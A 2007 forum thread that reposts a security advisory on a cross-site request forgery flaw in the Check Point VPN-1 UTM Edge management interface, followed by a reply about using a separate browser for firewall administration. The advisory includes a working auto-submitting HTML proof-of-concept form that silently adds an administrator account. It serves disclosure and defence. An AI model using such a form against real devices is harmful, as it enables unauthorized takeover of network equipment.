Cross Site Request Forgery vuln in Edge's - patch to 7.0.45

RayPesek · #1 (**permalink**) 2007-06-28

Dark Reading - Check Point - CSRF Bug Runs Rampant - Security News Analysis

"All it takes is one malicious site to be open at the same time the Web interface is, and the attacker can gain access to your network, he says. Or if an attacker submits a malicious "form" to your device via JavaScript, you can get owned as well. The attacker then can pose (invisibly) as the user and run commands on the device, creating new VPN tunnels, adding users, changing passwords, and taking over the administration of the box."

"In Check Point's case, CSRF was possible when a user was logged onto https://my.firewall at the same time he or she was connected to a malicious Website, according to the company's patch release information."

I agree with their "medium" rating in the article. Full Disclosure article at the bottom.

Ray

---------------------------------

Advisory: Checkpoint VPN-1 UTM Edge Cross Site Request
Forgery
Release Date: 2007/06/26
Last Modified: 2007/06/26
Authors: Henri Lindberg, Associate of (ISC)²
[henri.lindberg@louhi.fi]
Jussi Vuokko, CISSP [jussi.vuokko@louhi.fi]

Application: Checkpoint VPN-1 Edge X Embedded NGX 7.0.33x
(Other versions of the same software might be
affected.)
Devices: Checkpoint VPN-1 UTM Edge
Severity: Cross site request forgery in management
interface
Risk: Moderate
Vendor Status: Vendor has released an updated version
References:
http://www.louhi.fi/advisory/checkpoint_070626.txt

Overview:

Quote from Check Point Software - Firewalls, VPN, Network Protection
"VPN-1 UTM Edge appliances deliver unified threat management to enterprises with branch offices and simplify security
deployments and manageability. VPN-1 UTM Edge appliances consolidate proven enterprise-class technology into a single branch office solution that does not compromise the corporate network and eliminates the branch office as your weakest link. As part of Check Point's Unified Security Architecture, VPN-1 UTM Edge can enforce a global security policy and allows administrators to manage and update thousands of appliances as easily as managing one."

During an audit of VPN-1 UTM Edge it was discovered that a cross site request forgery vulnerability exists in the management interface. Thus, it is possible for an attacker to perform any administrative actions in the management interface. These include e.g. adding additional admin users.

Details:

Checkpoint VPN-1 Edge Embedded device management interface does not validate the origin of an HTTP request. If attacker is able to make user visit a hostile web page, a VPN-1 Edge device can be controlled by submitting suitable forms. It is possible to add new users for example.

Successful attack requires that the attacker knows the management interface address for the target device. As the management interface does not have logout functionality, user can be vulnerable to this attack even after closing a tab containing the management interface (if user does not close the browser window or clear cookies and depending on browser behaviour).

Proof of Concept:

Example form (adds new read-only administrator):

<html>
<body onload="document.CSRF.submit()">
<form name="CSRF" method="post"
action="https://fw.example.com/pop/WizU.html
"style="display:none">

<input name="swstate" value="WizU1">
<input name="swtosave" value="1">
<input name="swback" value="0">
<input name="swindex" value="-1">
<input name="swuuser" value="evil-user">
<input name="swupass" value="password">
<input name="swuexp" value="0">
<input name="swuday" value="4">
<input name="swumonth" value="5">
<input name="swuyear" value="2008">
<input name="swuhour" value="03">
<input name="swumin" value="11">
<input name="swuampm" value="1">
<input name="swuacc" value="1">
<input name="swuvpn" value="0">
<input name="swuufp" value="0">
<input name="swuhot" value="0">
<input name="tacc" value="1">

</form>
</body>
</html>

Workaround:

Update to new version.

More information

Cross-site request forgery - Wikipedia, the free encyclopedia

Disclosure Timeline:

7. June 2007 - Contacted Checkpoint by email
26. June 2007 - Vendor released an updated version
26. June 2007 - Advisory was released

Copyright 2007 Louhi Networks Oy. All rights reserved.

Bob_Zimmerman · #2 (**permalink**) 2007-07-07

This is exactly why I have an install of Firefox with its homepage set to 'https://my.firewall'. It never goes anywhere else, and the cross-site request forgeries don't work between browsers. It's a nice demonstration of the fact that separation of duties can extend even into individual applications.

Really, that's just a happy side-effect of the real reason I have a separate install of Firefox to manage my firewall. You see, Firefox absolutely sucks on Mac OS, but the web interface doesn't work well in Apple's browser. ;-)

Thread Tools
Show Printable Version Email this Page
Display Modes
Linear Mode Switch to Hybrid Mode Switch to Threaded Mode